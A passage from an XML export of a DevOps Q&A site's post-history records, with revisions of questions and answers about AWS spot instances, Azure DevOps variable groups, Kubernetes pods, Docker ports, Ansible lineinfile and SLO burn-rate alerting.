cache anyway, since you've massively reduced Jenkins' capacity to run jobs in parallel.&#xD;&#xA;&#xD;&#xA;The other scenario where you could get away with a shared cache is if you write to the cache extremely infrequently - and I really do mean *extremely*.  If the cache is rarely written to, then there simply aren't many opportunities for these kinds of race conditions." ContentLicense="CC BY-SA 4.0" />
  <row Id="24293" PostHistoryTypeId="34" PostId="8260" RevisionGUID="e156e632-a63b-4be3-9d58-a08822092e02" CreationDate="2019-06-09T09:02:15.563" UserId="-1" Comment="37" />
  <row Id="24297" PostHistoryTypeId="50" PostId="8079" RevisionGUID="5d2f1534-b264-45eb-a183-8845f2463cdb" CreationDate="2019-06-09T10:00:52.260" UserId="-1" />
  <row Id="24298" PostHistoryTypeId="2" PostId="8334" RevisionGUID="cebe74cb-fac9-4760-ba68-af462cbfd619" CreationDate="2019-06-09T14:06:41.410" UserId="15361" Text="I'm new to aws-ec2. &#xD;&#xA;&#xD;&#xA;I'd like to make spot request for a ````p3.2xlarge```` instance in my local region (EU-Ireland) to benchmark V100 Tesla GPUs against my home GPU for deep learning.&#xD;&#xA;&#xD;&#xA;I have already requested and have been granted a limit increase for 1 instance of this type in my region.&#xD;&#xA;&#xD;&#xA;I fill in the usual spot request application form changing only the instance type to ````p3.2xlarge (8 vCPU, 61 GiB EBS only)```` and the security group to ````SSH```` for logging in via my IP. &#xD;&#xA;&#xD;&#xA;I can see the instance p3.2xlarge instance type listed among the instance types in the fleet request settings.&#xD;&#xA;&#xD;&#xA;````p3.2xlarge	8 vCPUs	61GiB	$0.9915/hr	70 %````&#xD;&#xA;&#xD;&#xA;````p3.2xlarge	8 vCPUs	61GiB	$0.9915/hr	70 %````&#xD;&#xA;&#xD;&#xA;````r3.4xlarge	16 vCPUs	122GiB	$0.3019/hr	80 %````&#xD;&#xA;&#xD;&#xA;````r5d.2xlarge	8 vCPUs	64GiB	$0.1512/hr	76 %````&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;````r5a.4xlarge	16 vCPUs	128GiB	$0.3023/hr	70 %````&#xD;&#xA;&#xD;&#xA;````r3.2xlarge	8 vCPUs	61GiB	$0.159/hr	79 %````&#xD;&#xA;&#xD;&#xA;````r4.2xlarge	8 vCPUs	61GiB	$0.1903/hr	68 %````&#xD;&#xA;&#xD;&#xA;````i3en.2xlarge	8 vCPUs	64GiB	$0.3/hr	70 %````&#xD;&#xA;&#xD;&#xA;````m4.4xlarge	16 vCPUs	64GiB	$0.3056/hr	66 %````&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I submit and when the request is fulfilled, I can see the instance type that was assigned is an ````r5d.2xlarge```` not a ````p3.2xlarge````. This instance doesn't even have an Nvidia graphics card and is therefore useless for my comparison.&#xD;&#xA;&#xD;&#xA;How do I make a spot request for a ````p3.2xlarge```` that will be filled by the same instance type as I have requested?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24299" PostHistoryTypeId="1" PostId="8334" RevisionGUID="cebe74cb-fac9-4760-ba68-af462cbfd619" CreationDate="2019-06-09T14:06:41.410" UserId="15361" Text="Can't get P3 spot instance on AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="24300" PostHistoryTypeId="3" PostId="8334" RevisionGUID="cebe74cb-fac9-4760-ba68-af462cbfd619" CreationDate="2019-06-09T14:06:41.410" UserId="15361" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24301" PostHistoryTypeId="2" PostId="8335" RevisionGUID="fbddb627-ff63-4c53-aace-c0bc91333c0d" CreationDate="2019-06-09T14:24:13.887" UserId="13551" Text="_Spot Fleet_ aims to meet your capacity requirements across a range of instances. This reduces the risk of any unavailability of a specific instance type or family affecting your workload.&#xD;&#xA;&#xD;&#xA;As you are interested in only one specific machine type, you will need to remove the other types from your spot fleet request; or just create a separate [spot instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/how-spot-instances-work.html) request for the `p3.2xlarge` (a plain [spot instance request](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html), not a spot fleet request)" ContentLicense="CC BY-SA 4.0" />
  <row Id="24302" PostHistoryTypeId="50" PostId="6659" RevisionGUID="f90efec1-0fe3-4181-b9e1-321c1a8225c0" CreationDate="2019-06-09T16:02:55.343" UserId="-1" />
  <row Id="24303" PostHistoryTypeId="50" PostId="6131" RevisionGUID="9e4f734b-498d-4fcb-8dfc-a121ec2a0d9d" CreationDate="2019-06-09T17:03:25.410" UserId="-1" />
  <row Id="24304" PostHistoryTypeId="50" PostId="5192" RevisionGUID="e2271f6a-d6e6-4f74-b239-b20cacbe09a4" CreationDate="2019-06-09T18:02:50.353" UserId="-1" />
  <row Id="24305" PostHistoryTypeId="5" PostId="8309" RevisionGUID="4d53439b-9e9a-40c7-a638-c8285284785b" CreationDate="2019-06-09T19:55:50.070" UserId="15362" Comment="improve spelling and grammar" Text="I have a containerized web application on GitHub and I would like to build a CI/CD pipeline on GCP consisting of a trigger stage, a build stage and a deployment stage and be able to do continuous integration and deployment. What GCP tools can I use for this task? I have successfully accomplished the same task on AWS with Jenkins, where my GitHub commit triggers a multi-stage pipeline and deploy the app to EC2.&#xD;&#xA;&#xD;&#xA;Attached is what I have been able to do on AWS:&#xD;&#xA;&#xD;&#xA;[![AWS cicd pipeline ][1]][1] &#xD;&#xA;[![deployment][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/VznLD.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/1IibZ.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="24306" PostHistoryTypeId="4" PostId="8309" RevisionGUID="4d53439b-9e9a-40c7-a638-c8285284785b" CreationDate="2019-06-09T19:55:50.070" UserId="15362" Comment="improve spelling and grammar" Text="Building a CI/CD pipeline on GCP" ContentLicense="CC BY-SA 4.0" />
  <row Id="24307" PostHistoryTypeId="24" PostId="8309" RevisionGUID="4d53439b-9e9a-40c7-a638-c8285284785b" CreationDate="2019-06-09T19:55:50.070" Comment="Proposed by 15362 approved by -1 edit id of 1017" ContentLicense="CC BY-SA 4.0" />
  <row Id="24308" PostHistoryTypeId="5" PostId="8309" RevisionGUID="b9402663-924f-4c77-95aa-7d9fb7543ffd" CreationDate="2019-06-09T19:55:50.070" UserId="40" Comment="deleted 2 characters in body" Text="I have a containerized web application on GitHub and I would like to build a CI/CD pipeline on GCP consisting of a trigger stage, a build stage and a deployment stage and be able to do continuous integration and deployment. What GCP tools can I use for this task? I have successfully accomplished the same task on AWS with Jenkins, where my GitHub commit triggers a multi-stage pipeline and deploy the app to EC2.&#xD;&#xA;&#xD;&#xA;This is what I have been able to do on AWS:&#xD;&#xA;&#xD;&#xA;[![AWS cicd pipeline ][1]][1] &#xD;&#xA;&#xD;&#xA;[![deployment][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/VznLD.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/1IibZ.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="24310" PostHistoryTypeId="10" PostId="8214" RevisionGUID="7b6ebee4-910e-4d74-ac3b-134175f85498" CreationDate="2019-06-10T01:54:52.613" UserId="46" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:7730,&quot;DisplayName&quot;:&quot;BMitch&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="24313" PostHistoryTypeId="2" PostId="8336" RevisionGUID="194347e9-844e-456d-b63d-482f4850653c" CreationDate="2019-06-10T02:17:13.740" UserId="15365" Text="I'm using DevOps to deploy Azure Data Factory ARM template&#xD;&#xA;&#xD;&#xA;I'm using a deployment pipeline to take artifacts from a prior build pipeline and deploy to various environments (TEST, PROD)&#xD;&#xA;&#xD;&#xA;I've created two variable groups: `TEST` and `PROD`&#xD;&#xA;&#xD;&#xA;Within the `TEST` variable group I've created a bunch of variables reflecting the `TEST` specific configuration.&#xD;&#xA;&#xD;&#xA;As far as I understand, I now have to manually recreate all of these identically named variables in my `PROD` variable group.&#xD;&#xA;&#xD;&#xA;It seems strange and redundant to have to do this. I also find it strange that the concept of environments is not specifically called out in doco anywhere&#xD;&#xA;&#xD;&#xA;So the specific question is: Is it the correct approach to define a variable group per environment then manually create identical variables in both variable groups?&#xD;&#xA;&#xD;&#xA;I have not used any other deployment tool in any detail before this and I'm not using YAML so maybe that's the piece I'm missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24314" PostHistoryTypeId="1" PostId="8336" RevisionGUID="194347e9-844e-456d-b63d-482f4850653c" CreationDate="2019-06-10T02:17:13.740" UserId="15365" Text="Can we reuse Variables across variable groups in Azure DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24315" PostHistoryTypeId="3" PostId="8336" RevisionGUID="194347e9-844e-456d-b63d-482f4850653c" CreationDate="2019-06-10T02:17:13.740" UserId="15365" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24316" PostHistoryTypeId="5" PostId="8336" RevisionGUID="c9adeaa1-1cdc-4532-8b46-232021b60fa5" CreationDate="2019-06-10T02:31:58.677" UserId="15365" Comment="added 483 characters in body" Text="I'm using DevOps to deploy Azure Data Factory ARM template&#xD;&#xA;&#xD;&#xA;I'm using a deployment pipeline to take artifacts from a prior build pipeline and deploy to various environments (TEST, PROD)&#xD;&#xA;&#xD;&#xA;I've created two variable groups: `TEST` and `PROD`. I've created two deployment &quot;stages&quot; `TEST` and `PROD`&#xD;&#xA;&#xD;&#xA;Within the `TEST` variable group I've created a bunch of variables reflecting the `TEST` specific configuration.&#xD;&#xA;&#xD;&#xA;As far as I understand, I now have to manually recreate all of these identically named variables in my `PROD` variable group.&#xD;&#xA;&#xD;&#xA;Not only that I have to make a copy of my TEST stage&#xD;&#xA;&#xD;&#xA;So I basically have two duplicate configs and two duplicate stages&#xD;&#xA;&#xD;&#xA;It would make more sense if I had a single stage definition that could be run against different variable groups rather than repeating code and variable group definitions.&#xD;&#xA;&#xD;&#xA;It seems strange and redundant to have to do this. I also find it strange that the concept of environments is not specifically called out in doco anywhere&#xD;&#xA;&#xD;&#xA;So the specific question is: Is it the correct approach to define a variable group per environment then manually create identical variables in both variable groups?&#xD;&#xA;&#xD;&#xA;and a more general question: am I missing something fundamental here or is the product not mature enough yet.&#xD;&#xA;&#xD;&#xA;I have not used any other deployment tool in any detail before this and I'm not using YAML (just the UI) so maybe that's the piece I'm missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24317" PostHistoryTypeId="5" PostId="8336" RevisionGUID="289023f3-68d5-44e3-83b0-3d718a5243af" CreationDate="2019-06-10T02:53:50.910" UserId="15365" Comment="added 613 characters in body" Text="I'm using DevOps to deploy Azure Data Factory ARM template&#xD;&#xA;&#xD;&#xA;I'm using a deployment pipeline to take artifacts from a prior build pipeline and deploy to various environments (TEST, PROD)&#xD;&#xA;&#xD;&#xA;I've created two variable groups: `TEST` and `PROD`. I've created two deployment &quot;stages&quot; `TEST` and `PROD`&#xD;&#xA;&#xD;&#xA;Within the `TEST` variable group I've created a bunch of variables reflecting the `TEST` specific configuration.&#xD;&#xA;&#xD;&#xA;As far as I understand, I now have to manually recreate all of these identically named variables in my `PROD` variable group.&#xD;&#xA;&#xD;&#xA;Not only that I have to make a copy of my TEST stage&#xD;&#xA;&#xD;&#xA;So I basically have two duplicate configs and two duplicate stages&#xD;&#xA;&#xD;&#xA;It would make more sense if I had a single stage definition that could be run against different variable groups rather than repeating code and variable group definitions.&#xD;&#xA;&#xD;&#xA;It seems strange and redundant to have to do this. I also find it strange that the concept of environments is not specifically called out in doco anywhere&#xD;&#xA;&#xD;&#xA;So the specific question is: Is it the correct approach to define a variable group per environment then manually create identical variables in both variable groups?&#xD;&#xA;&#xD;&#xA;and a more general question: am I missing something fundamental here or is the product not mature enough yet.&#xD;&#xA;&#xD;&#xA;I have not used any other deployment tool in any detail before this and I'm not using YAML (just the UI) so maybe that's the piece I'm missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Some more &quot;What Am I missing&quot; things:&#xD;&#xA;&#xD;&#xA;1. I've just found that the ARM deployment task does not accept..... a resource group name parameter! It's got to be hard coded!!&#xD;&#xA;&#xD;&#xA;2. In the _Resource Group deployment_ task in the _override template parameters_ field I used the UI to assign variables to parameter values. I had to type the variables in and had to make sure I got the magic notation right. `$(myVariable)` Then I read another stack overflow that indicated if your variable value has a space in it you need to surround it by quotes. This is the second &quot;you need quotes for spaces&quot; issue I have found." ContentLicense="CC BY-SA 4.0" />
  <row Id="24318" PostHistoryTypeId="5" PostId="8336" RevisionGUID="1d331f24-d9b2-4256-848f-1619a9897006" CreationDate="2019-06-10T03:06:59.127" UserId="15365" Comment="deleted 139 characters in body" Text="I'm using DevOps to deploy Azure Data Factory ARM template&#xD;&#xA;&#xD;&#xA;I'm using a deployment pipeline to take artifacts from a prior build pipeline and deploy to various environments (TEST, PROD)&#xD;&#xA;&#xD;&#xA;I've created two variable groups: `TEST` and `PROD`. I've created two deployment &quot;stages&quot; `TEST` and `PROD`&#xD;&#xA;&#xD;&#xA;Within the `TEST` variable group I've created a bunch of variables reflecting the `TEST` specific configuration.&#xD;&#xA;&#xD;&#xA;As far as I understand, I now have to manually recreate all of these identically named variables in my `PROD` variable group.&#xD;&#xA;&#xD;&#xA;Not only that I have to make a copy of my TEST stage&#xD;&#xA;&#xD;&#xA;So I basically have two duplicate configs and two duplicate stages&#xD;&#xA;&#xD;&#xA;It would make more sense if I had a single stage definition that could be run against different variable groups rather than repeating code and variable group definitions.&#xD;&#xA;&#xD;&#xA;It seems strange and redundant to have to do this. I also find it strange that the concept of environments is not specifically called out in doco anywhere&#xD;&#xA;&#xD;&#xA;So the specific question is: Is it the correct approach to define a variable group per environment then manually create identical variables in both variable groups?&#xD;&#xA;&#xD;&#xA;and a more general question: am I missing something fundamental here or is the product not mature enough yet.&#xD;&#xA;&#xD;&#xA;I have not used any other deployment tool in any detail before this and I'm not using YAML (just the UI) so maybe that's the piece I'm missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another &quot;What Am I missing&quot; thing:&#xD;&#xA;&#xD;&#xA;In the _Resource Group deployment_ task in the _override template parameters_ field I used the UI to assign variables to parameter values. I had to type the variables in and had to make sure I got the magic notation right. `$(myVariable)` Then I read another stack overflow that indicated if your variable value has a space in it you need to surround it by quotes. This is the second &quot;you need quotes for spaces&quot; issue I have found." ContentLicense="CC BY-SA 4.0" />
  <row Id="24319" PostHistoryTypeId="2" PostId="8337" RevisionGUID="93ba86f5-09b0-468e-980d-a2ed84a5f2a6" CreationDate="2019-06-10T06:10:28.070" UserId="15367" Text="Is it possible to deploy 1 pod per each REST request?  My process starts up in .004s and is about 1GB in size.   After the REST request completes the pod will terminate.&#xD;&#xA;&#xD;&#xA;Given that I'd like to deploy the pod/container for this on each REST request. Is it possible to do this in &lt; 200ms?  A sort of serverless architecture using kubernetes. &#xD;&#xA;&#xD;&#xA;How would you do this in a reliable / resilient way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24320" PostHistoryTypeId="1" PostId="8337" RevisionGUID="93ba86f5-09b0-468e-980d-a2ed84a5f2a6" CreationDate="2019-06-10T06:10:28.070" UserId="15367" Text="Deploying a pod per REST request?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24321" PostHistoryTypeId="3" PostId="8337" RevisionGUID="93ba86f5-09b0-468e-980d-a2ed84a5f2a6" CreationDate="2019-06-10T06:10:28.070" UserId="15367" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24322" PostHistoryTypeId="2" PostId="8338" RevisionGUID="4a86f3ab-beb2-4bc4-a04f-fd64a1fab6c0" CreationDate="2019-06-10T06:43:27.877" UserId="15217" Text="If you want to create your own IAM policy, you can use the visual editor present in IAM. Using visual editor, you can construct a new policy from scratch using the very intuitive GUI.&#xA;&#xA;Goto **IAM**, then **policies**, then use **visual editor**." ContentLicense="CC BY-SA 4.0" />
  <row Id="24323" PostHistoryTypeId="50" PostId="5917" RevisionGUID="ababe1c5-ea82-4d96-8a6c-d6721659bb1f" CreationDate="2019-06-10T07:01:20.400" UserId="-1" />
  <row Id="24324" PostHistoryTypeId="50" PostId="5691" RevisionGUID="6426c1ea-e9d2-4eb0-9df1-e3dc4a97e915" CreationDate="2019-06-10T08:04:10.490" UserId="-1" />
  <row Id="24325" PostHistoryTypeId="2" PostId="8339" RevisionGUID="5d6800b0-11b5-41ca-9b1a-c2ae967f4371" CreationDate="2019-06-10T08:22:17.773" UserId="4023" Text="I have an Azure DevOps pipeline build configuration which builds automatically with the master branch. I want to access the **GitHub user** or username who committed last.  &#xD;&#xA;&#xD;&#xA;If I access variables `$(Build.QueuedBy)` and `$(Build.RequestedFor)` in a build that I triggered manually from the portal, I get the outputs as `Sith` and `Sith` respectively.  &#xD;&#xA;&#xD;&#xA;But when I pushed code to master and triggered automatically with CI, I get outputs for the variables as `Microsoft.VisualStudio.Services.TFS` and `Microsoft.VisualStudio.Services.TFS` respectively. &#xD;&#xA;&#xD;&#xA;I can access all [other variables](https://docs.microsoft.com/en-us/azure/devops/pipelines/build/variables?view=azure-devops&amp;tabs=yaml#buildclean) like `$(Build.DefinitionName)` and `$(Build.BuildNumber)`  &#xD;&#xA; in all the cases without any issues.  &#xD;&#xA;&#xD;&#xA;How to get Github username variable as `Sith` instead of `Microsoft.VisualStudio.Services.TFS`?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24326" PostHistoryTypeId="1" PostId="8339" RevisionGUID="5d6800b0-11b5-41ca-9b1a-c2ae967f4371" CreationDate="2019-06-10T08:22:17.773" UserId="4023" Text="How to get Github username variable in Azure DevOps build pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24327" PostHistoryTypeId="3" PostId="8339" RevisionGUID="5d6800b0-11b5-41ca-9b1a-c2ae967f4371" CreationDate="2019-06-10T08:22:17.773" UserId="4023" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;github&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24328" PostHistoryTypeId="2" PostId="8340" RevisionGUID="b4ddc082-412e-4760-ac25-3071dab5e123" CreationDate="2019-06-10T11:03:46.217" UserId="6775" Text="As per my experience, it is not a good idea because the availability of a pod is not directly related to how fast the container is up, a lot of other things affects the time the pod is ready and the time kubernetes sends traffic to that new pod.&#xD;&#xA;&#xD;&#xA;You need to think about how your scalability strategy is trying to adapt to your actual traffic and the different health checks change that readiness time.&#xD;&#xA;&#xD;&#xA;In Kubernete you have the livenessProbe and radynessProbe used to check two different thinks on the lifecycle of the pod, because of that you need to review the lifecycle of a pod in kubernetes and if your app can adapt to it.&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/&#xD;&#xA;&#xD;&#xA;In case you are worried about the number of requests you can handle per second my advice is to have a pool of pods ready to response a good amount of it and take metrics to know better how your app responds to a high demanding traffic context and understand how the loadbalancing of kubenetes work and can affect your app, with that try to scale in a more smart way." ContentLicense="CC BY-SA 4.0" />
  <row Id="24335" PostHistoryTypeId="2" PostId="8343" RevisionGUID="164a8b28-fec1-4ae8-9c0b-b0d76e9dd1f6" CreationDate="2019-06-10T13:15:48.743" UserId="7730" Text="TL;DR: You don't.&#xD;&#xA;&#xD;&#xA;From inside of the container, you do not know which ports are exposed since exposing a port is only documentation visible in the image and container metadata. To detect which ports are published, you'd need to know the host IP, which can be difficult to lookup depending on your environment, and then you'd need to do something like a port scan of the host and tcpdump inside the container to detect the incoming request.&#xD;&#xA;&#xD;&#xA;All of this is non-trivial because it's solving the problem in the wrong direction. You build your app inside the container to listen on a specific port, configure that default port and potentially let users override it with a variable or config file. Then you document this decision be exposing the port in the Dockerfile with the `EXPOSE` command. This is only documentation, it goes in the image metadata, users and programs can see it, but by default docker will not do anything with it. Finally, users of your image will publish the port on the host when and where appropriate, and map to the port of your application.&#xD;&#xA;&#xD;&#xA;In other words, the right side of the published port (the container port) is largely controlled by the image creator, not the user running the container. If they publish to the wrong port, it is not be the applications responsibility inside the container to dynamically adjust what port it is listening on, and this would be difficult to impossible to do if you had multiple ports anyway. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24337" PostHistoryTypeId="2" PostId="8344" RevisionGUID="66a2595d-fcce-4c5a-8eb4-2915e683d4f1" CreationDate="2019-06-10T20:34:29.397" UserId="1133" Text="How can i use ansible lineinfile module to simulate working of below sed command.&#xD;&#xA;&#xD;&#xA;    sed -i _bkp '/(ADDRESS = (PROTOCOL = TCP)(HOST = 10.0.0.1)(PORT = 1501))/d;s/(ADDRESS = (PROTOCOL = TCP)(HOST = 10.0.0.2)(PORT = 1501))/(ADDRESS = (PROTOCOL = TCP)(HOST = my-site.com)(PORT = 1501))/;/(BALANCE = yes))/d' myconffile&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24338" PostHistoryTypeId="1" PostId="8344" RevisionGUID="66a2595d-fcce-4c5a-8eb4-2915e683d4f1" CreationDate="2019-06-10T20:34:29.397" UserId="1133" Text="Ansible equivalent of below sed command" ContentLicense="CC BY-SA 4.0" />
  <row Id="24339" PostHistoryTypeId="3" PostId="8344" RevisionGUID="66a2595d-fcce-4c5a-8eb4-2915e683d4f1" CreationDate="2019-06-10T20:34:29.397" UserId="1133" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24343" PostHistoryTypeId="2" PostId="8346" RevisionGUID="e360636f-6bbd-4ca7-a434-31a1c911d0e8" CreationDate="2019-06-11T04:21:02.227" UserId="7715" Text="This is the equivalent (backup differs).&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: '\(ADDRESS = \(PROTOCOL = TCP\)\(HOST = 10.0.0.1\)\(PORT = 1501\)\)'&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            regexp: '\(ADDRESS = \(PROTOCOL = TCP\)\(HOST = 10.0.0.2\)\(PORT = 1501\)\)'&#xD;&#xA;            line: '(ADDRESS = (PROTOCOL = TCP)(HOST = my-site.com)(PORT = 1501))'&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: '\(BALANCE = yes\)'&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24344" PostHistoryTypeId="5" PostId="8346" RevisionGUID="9d75163b-9457-45e6-a5b2-3dfc49e51bfa" CreationDate="2019-06-11T04:36:09.220" UserId="7715" Comment="added 430 characters in body" Text="This is the equivalent (backup differs).&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: '\(ADDRESS = \(PROTOCOL = TCP\)\(HOST = 10.0.0.1\)\(PORT = 1501\)\)'&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            regexp: '\(ADDRESS = \(PROTOCOL = TCP\)\(HOST = 10.0.0.2\)\(PORT = 1501\)\)'&#xD;&#xA;            line: '(ADDRESS = (PROTOCOL = TCP)(HOST = my-site.com)(PORT = 1501))'&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: '\(BALANCE = yes\)'&#xD;&#xA;&#xD;&#xA;The simplified version is below.&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: &quot;{{ item.state }}&quot;&#xD;&#xA;            regexp: &quot;{{ item.regexp }}&quot;&#xD;&#xA;            line: &quot;{{ item.line|default(omit) }}&quot;&#xD;&#xA;          loop:&#xD;&#xA;            - {regexp: 'AAA', state: absent}&#xD;&#xA;            - {regexp: 'BBB', line: 'CCC', state: present}&#xD;&#xA;            - {regexp: 'DDD', state: absent}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24345" PostHistoryTypeId="12" PostId="8346" RevisionGUID="c95f2013-aa70-4e1c-bd29-459f3b171bdd" CreationDate="2019-06-11T04:47:53.110" UserId="7715" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7715,&quot;DisplayName&quot;:&quot;Vladimir Botka&quot;}]}" />
  <row Id="24346" PostHistoryTypeId="5" PostId="8346" RevisionGUID="eaf99fb8-ef6b-47f7-a3bb-749d1b23b7ab" CreationDate="2019-06-11T05:04:14.683" UserId="7715" Comment="added 186 characters in body" Text="To replace all lines in the file [replace](https://docs.ansible.com/ansible/latest/modules/replace_module.html#replace-replace-all-instances-of-a-particular-string-in-a-file-using-a-back-referenced-regular-expression) module is needed. This is the equivalent (backup differs).&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: '\(ADDRESS = \(PROTOCOL = TCP\)\(HOST = 10.0.0.1\)\(PORT = 1501\)\)'&#xD;&#xA;        - replace:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            regexp: '\(ADDRESS = \(PROTOCOL = TCP\)\(HOST = 10.0.0.2\)\(PORT = 1501\)\)'&#xD;&#xA;            replace: '(ADDRESS = (PROTOCOL = TCP)(HOST = my-site.com)(PORT = 1501))'&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: '\(BALANCE = yes\)'&#xD;&#xA;&#xD;&#xA;The simplified version is below.&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - lineinfile:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            state: absent&#xD;&#xA;            regexp: &quot;{{ item }}&quot;&#xD;&#xA;          loop:&#xD;&#xA;            - 'AAA'&#xD;&#xA;            - 'DDD'&#xD;&#xA;        - replace:&#xD;&#xA;            path: myconffile&#xD;&#xA;            backup: yes&#xD;&#xA;            regexp: 'BBB'&#xD;&#xA;            replace: 'CCC'&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24347" PostHistoryTypeId="13" PostId="8346" RevisionGUID="12983463-a515-487b-97f4-09397ffcd45c" CreationDate="2019-06-11T05:04:24.197" UserId="7715" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7715,&quot;DisplayName&quot;:&quot;Vladimir Botka&quot;}]}" />
  <row Id="24348" PostHistoryTypeId="5" PostId="8296" RevisionGUID="a2e879e5-8833-473e-bf19-fdeeed1fbd60" CreationDate="2019-06-11T08:13:20.833" UserId="15202" Comment="added 684 characters in body" Text="Consider a service using the alerting rule from the book:&#xD;&#xA;&#xD;&#xA;`job:slo_errors_per_request:ratio_rate1h{job=&quot;myjob&quot;} &gt; 36 * 0.001`&#xD;&#xA;&#xD;&#xA;The burn rate is the rate at which we are exhausting our error budget. A burn rate of 1 means that we'll have exactly exhausted our error budget at the end of our reporting period. A burn rate of 2 means that we'll have exhausted our budget half way through our reporting period.&#xD;&#xA;&#xD;&#xA;For a 99.9% SLO, an error rate of 0.1% constitutes a burn rate of 1. An error rate of 1% means a burn rate of 10, and a 100% error rate means a burn rate of 1000&#xD;&#xA;&#xD;&#xA;If we want to alert when we've exhausted 5% of our 30 day error budget in 1 hour, then that means we are burning error budget at a rate of 36, which translates to an error rate of 3.6% for a 99.9% SLO.&#xD;&#xA;&#xD;&#xA;Imagine a service with a constant rate of requests, that starts serving 100% errors at t=0 minutes&#xD;&#xA;&#xD;&#xA;Here our SLI counts the total number of &quot;events&quot;.&#xD;&#xA;&#xD;&#xA;SLIs written in terms of some kind of discrete events, where an event can either be good or bad, have many nice properties: They range from 0-100%, where 0 is &quot;nothing is working&quot; and 100% is &quot;nothing is broken&quot;; I find this quite intuitive. By making all of your SLIs behave the same, you simplify tooling, alerting rules, and understanding.&#xD;&#xA;&#xD;&#xA;With a request-based system, events are usually individual requests. So 0 errors, 1 request in minute at t=-2. I used 1 request per minute for simplicity. The result is the same if you have 1 request per minute or 1 million; it's the ratio of errors to total requests that matters.&#xD;&#xA;&#xD;&#xA;t=-2, errors=0, total=1  &#xD;&#xA;t=-1, errors=0, total=1  &#xD;&#xA;t=0, errors=1, total=1  &#xD;&#xA;t=1, errors=1, total=1   &#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;If our monitoring system evaluates its rules every minute, we get:&#xD;&#xA;&#xD;&#xA;at t=-1, our 1h average error rate is 0  &#xD;&#xA;at t=0, the 1h error rate is 1/60 = 1.666% 